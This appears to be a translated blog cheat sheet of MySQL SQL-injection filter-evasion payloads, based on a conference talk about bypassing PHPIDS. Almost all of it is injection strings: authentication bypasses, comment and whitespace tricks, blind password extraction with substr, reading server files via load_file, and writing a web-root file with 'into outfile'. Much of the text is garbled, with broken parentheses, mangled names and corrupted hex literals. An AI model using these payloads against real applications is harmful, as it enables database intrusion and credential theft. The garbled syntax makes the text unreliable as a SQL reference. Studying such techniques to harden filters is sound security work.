Mysql bypass injection filtering (English version you can understand)

This week I presented my experiences in SQLi filter evasion techniques that I have gained during 3 years of PHPIDS filter evasion at the CONFidence 2.0 conference. you can find the slides here. for a quicker reference you can use the following cheatsheet. more detailed explaination can be found in the slides or in the talk (video shocould come online in a few weeks ).

Basic filter
Comments
'Or 1 = 1 #
'Or 1 = 1 --
'Or 1 = 1/* (MySQL <5.1)
'Or 1 = 1; % 00
'Or 1 = 1 union select 1, 2'
'Or # newline
1 = '1'
'Or--newline
1 = '1'
'/*! 50000or */1 = '1
'/*! Or */1 = '1'

Prefixes
+ -~ !
'Or-+ 2 = --!!! '2

Operators
^, = ,! =, %,/, *, &, &, |, |, >>, <=, <=,, XOR, DIV, LIKE, sounds like, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL

Whitespaces
% 20% 09% 0a % 0b % 0c % 0d % a0 /**/
'Or + (1) sounds/**/like "1"-% a0-
'Union (select (1), tabe_name, (3) from 'information _ scheme'. 'tables ')#

Strings with quotes
SELECT 'A'
SELECT ""
SELECT n 'A'
SELECT B '1100001 ′
SELECT _ binary '200 ′
SELECT x '61 ′

Strings without quotes
'Abc' = 0 × 616263

Aliases
Select pass as alias from users
Select pass aliasalias from users
Select pass 'Alias alias' from users

Typecasting
'Or true = '1 # or 1 = 1
'Or round (pi (), 1) + true = version () # or 3.1 + 1 + 1 = 5.1
'Or' 1 # or true

Compare operator typecasting
Select * from users where 'a' = 'B' = 'C'
Select * from users where ('A' = 'B') = 'C'
Select * from users where (false) = 'C'
Select * from users where (0) = 'C'
Select * from users where (0) = 0
Select * from users where true
Select * from users

Authentication bypass' ='
Select * from users where name ="
Select * from users where false ="
Select * from users where 0 = 0
Select * from users where true
Select * from users

Authentication bypass '-'
Select * from users where name = "-"
Select * from users where name = 0-0
Select * from users where 0 = 0
Select * from users where true
Select * from users

Function filter
General function filtering
Ascii (97)
Load_file/* foo */(0x616263)

Strings with functions
'Abc' = unhex (616263)
'Abc' = char (97,98, 99)
Hex ('A') = 61
Ascii ('A') = 97
Ord ('A') = 97
'Abc' = concat (conv (10, 10, 36), conv (11, 10, 36), conv (12, 10, 36 ))

Strings extracted from gadgets
Collation (\ N) // binary
Collation (user () // utf8_general_ci
@ Time_format // % H: % I: % s
@ Binlog_format // MIXED
@ Version_comment // MySQL Community Server (GPL)
Dayname (from_days (401) // Monday
Dayname (from_days (403) // Wednesday
Monthname (from_days (690) // November
Monthname (from_unixtime (1) // January
Collation (convert (1) using/**/koi8r) // koi8r_general_ci
(Select (collation_name) from (information_schema.collations) where (id) = 2) // latin2_czech_cs

Special characters extracted from gadgets
Aes_encrypt () // 4çh ± {?" ^ C × héé Ea
Des_encrypt (1, 2) // sort G records/Ö ök
@ Ft_boolean_syntax // +-> <()~ *: "" & |
@ Date_format // % Y-% m-% d
@ Innodb_log_group_home_dir //.\

Integer representations
False: 0
True: 1
True + true: 2
Floor (pi (): 3
Ceil (pi (): 4
Floor (version (): 5
Ceil (version (): 6
Ceil (pi () + pi (): 7
Floor (version () + pi (): 8
Floor (pi () * pi (): 9
Ceil (pi () * pi (): 10
Concat (true, true): 11
Ceil (pi () * pi () + true: 11
Ceil (pi () + version (): 12
Floor (pi () * pi () + pi (): 13
Ceil (pi () * pi () + pi (): 14
Ceil (pi () * pi () + version (): 15
Floor (pi () * version (): 16
Ceil (pi () * version (): 17
Ceil (pi () * version () + true: 18
Floor (pi () + pi () * pi (): 19
Ceil (pi () + pi () * pi (): 20
Ceil (pi () * version (): 21
Concat (true + true, true): 21
Ceil (pi () * ceil (pi () + pi (): 22
Ceil (pi () + ceil (pi () * pi (): 23
Ceil (pi () * ceil (version (): 24
Floor (pi () * (version () + pi (): 25
Floor (version () * version (): 26
Ceil (version () * version (): 27
Ceil (pi () * pi ()-pi (): 28
Floor (pi () * floor (pi (): 29
Ceil (pi () * floor (pi (): 30
Concat (floor (pi (), false): 30
Floor (pi () * pi (): 31
Ceil (pi () * pi (): 32
Ceil (pi () * pi () + true: 33
Ceil (pow (pi (), pi ()-pi (): 34
Ceil (pi () * pi () + pi (): 35
Floor (pow (pi (), pi (): 36

@ New: 0
@ Log_bin: 1

! Pi (): 0
!! Pi (): 1
True -~ True: 3
Log (-cos (pi (): 0
-Cos (pi (): 1
Coercibility (user (): 3
Coercibility (now (): 4

Minute (now ())
Hour (now ())
Day (now ())
Week (now ())
Month (now ())
Year (now ())
Quarter (now ())
Year (@ timestamp)
Crc32 (true)

Extract substrings
Substr ('abc', 1, 1) = 'A'
Substr ('abc' from 1 for 1) = 'A'
Substring ('abc', 1, 1) = 'A'
Substring ('abc' from 1 for 1) = 'A'
Mid ('abc', 1, 1) = 'A'
Mid ('abc' from 1 for 1) = 'A'
Lpad ('abc', 1, space (1) = 'A'
Rpad ('abc', 1, space (1) = 'A'
Left ('abc', 1) = 'A'
Reverse (right (reverse ('abc'), 1) = 'A'
Insert ('abc', 2,222, space (0), space (0) = 'A'
Space (0) = trim (version () from (version ()))

Search substrings
Locate ('A', 'abc ')
Position ('A', 'abc ')
Position ('A' IN 'abc ')
Instr ('abc', 'A ')
Substring_index ('AB', 'B', 1)

Cut substrings
Length (trim (leading 'A' FROM 'abc '))
Length (replace ('abc', 'A ',"))

Compare strings
Strcmp ('A', 'A ')
Mod ('A', 'A ')
Find_in_set ('A', 'A ')
Field ('A', 'A ')
Count (concat ('A', 'A '))

String length
Length ()
Bit_length ()
Char_length ()
Octet_length ()
Bit_count ()

String case
Ucase
Lcase
Lower
Upper
Password ('A ')! = Password ('A ')
Old_password ('A ')! = Old_password ('A ')
Md5 ('A ')! = Md5 ('A ')
Sha ('A ')! = Sha ('A ')
Aes_encrypt ('A ')! = Aes_encrypt ('A ')
Des_encrypt ('A ')! = Des_encrypt ('A ')

Keyword filter
Connected keyword filtering
(0) union (select (table_name), column_name ,...
0/**/union /*! 50000select */table_name 'foo '/**/...
0% a0union % a0select % 09group_concat (table_name )....
0' union all select all 'table _ name' foo from 'information _ schema'. 'tables'

OR, AND
'| 1 = '1
'& 1 = '1
'='
'-'

OR, AND, UNION
'And (select pass from users limit 1) =' secret

OR, AND, UNION, LIMIT
'And (select pass from users where id = 1) = 'a

OR, AND, UNION, LIMIT, WHERE
'And (select pass from users group by id having id = 1) = 'a

OR, AND, UNION, LIMIT, WHERE, GROUP
'And length (select pass from users having substr (pass, 1, 1) = 'A '))

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING
'And (select substr (group_concat (pass),) from users) = 'a
'And substr (select max (pass) from users), 1, 1) = 'a
'And substr (select max (replace (pass, 'lastpw', ") from users), 1, 1) = 'a

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT
'And substr (load_file ('file'), locate ('documentroot', (load_file ('file') + length ('documentroot'), 10) = 'a
'= "Into outfile'/var/www/dump.txt

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT, FILE
'Procedure analyze ()#
'-If (name = 'admin', 1, 0 )#
'-If (name = 'admin',), if (substr (pass,) = 'A',), 0 )#

Control flow
Case 'A' when 'A' then 1 [else 0] end
Case when 'A' = 'A' then 1 [else 0] end
If ('A' = 'A', 1, 0)
Ifnull (nullif ('A', 'A'), 1)

If you have any other useful tricks I forgot to list here please leave a comment.